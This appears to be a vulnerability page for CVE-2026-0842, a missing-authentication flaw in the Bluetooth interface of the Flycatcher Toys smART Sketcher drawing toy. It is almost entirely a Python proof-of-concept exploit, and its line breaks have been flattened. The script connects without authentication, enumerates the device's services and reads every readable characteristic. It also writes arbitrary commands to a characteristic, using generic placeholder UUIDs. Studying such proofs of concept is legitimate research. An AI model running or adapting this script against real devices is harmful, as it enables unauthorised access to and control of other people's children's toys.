CVE-2026-0842 Flycatcher Toys smART Sketcher蓝牙低能耗接口缺少认证漏洞

""" CVE-2026-0842 PoC - smART Sketcher BLE Authentication Bypass This script demonstrates the missing authentication vulnerability in Flycatcher Toys smART Sketcher BLE interface. Note: This code is for educational and security research purposes only. """ from bluepy.btle import Peripheral, UUID, BTLEException import sys def connect_to_smart_sketcher(mac_address): """ Connect to smART Sketcher device without authentication CVE-2026-0842: Missing authentication in BLE interface """ try: print(f"[*] Connecting to smART Sketcher at {mac_address}...") device = Peripheral(mac_address, addrType='random') print("[+] Successfully connected without authentication!") print("[!] Vulnerability CVE-2026-0842 confirmed: No authentication required") # List available services print("\n[*] Enumerating BLE services...") for service in device.getServices(): print(f"[Service] {service.uuid}: {service}") for characteristic in service.getCharacteristics(): print(f" [Char] {characteristic.uuid} - Properties: {characteristic.propertiesToString()}") # Try to read/write characteristics without auth try: if characteristic.supportsRead(): value = characteristic.read() print(f" [READ] {value}") except BTLEException as e: print(f" [READ FAILED] {e}") device.disconnect() return True except BTLEException as e: print(f"[-] Connection failed: {e}") return False def send_unauthorized_command(mac_address, command): """ Send commands to device without authorization """ try: device = Peripheral(mac_address, addrType='random') # Find command characteristic (UUID would need to be discovered) service_uuid = UUID("0000fff0-0000-1000-8000-00805f9b34fb") char_uuid = UUID("0000fff1-0000-1000-8000-00805f9b34fb") service = device.getServiceByUUID(service_uuid) characteristic = service.getCharacteristics(char_uuid)[0] # Write without authentication characteristic.write(command) print(f"[+] Command sent without authorization: {command.hex()}") device.disconnect() return True except Exception as e: print(f"[-] Command failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python smartsketch_poc.py <MAC_ADDRESS>") print("Example: python smartsketch_poc.py AA:BB:CC:DD:EE:FF") sys.exit(1) target_mac = sys.argv[1] connect_to_smart_sketcher(target_mac)